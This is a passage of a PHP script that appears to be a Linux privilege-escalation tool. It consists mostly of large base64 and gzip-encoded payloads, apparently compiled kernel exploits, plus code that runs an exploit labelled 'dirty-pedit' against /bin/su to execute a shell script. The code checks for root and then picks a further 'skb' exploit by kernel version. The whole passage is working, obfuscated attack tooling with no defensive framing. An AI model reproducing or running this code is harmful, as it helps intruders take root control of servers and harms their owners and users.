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'); if($dp && is_executable('/bin/su')){ out('dirty-pedit','try'); xrun('printf "sh '.$W.'/cash.sh\nexit\n" | '.shq($dp).$aa.' 2>&1', 75); stepKi('pedit','try'); if(rooted()||outsidesu('/bin/su')) exit; } } if (vge($V,'3.9') && vlt($V,'7.1.99')) { $sk=pl('skb','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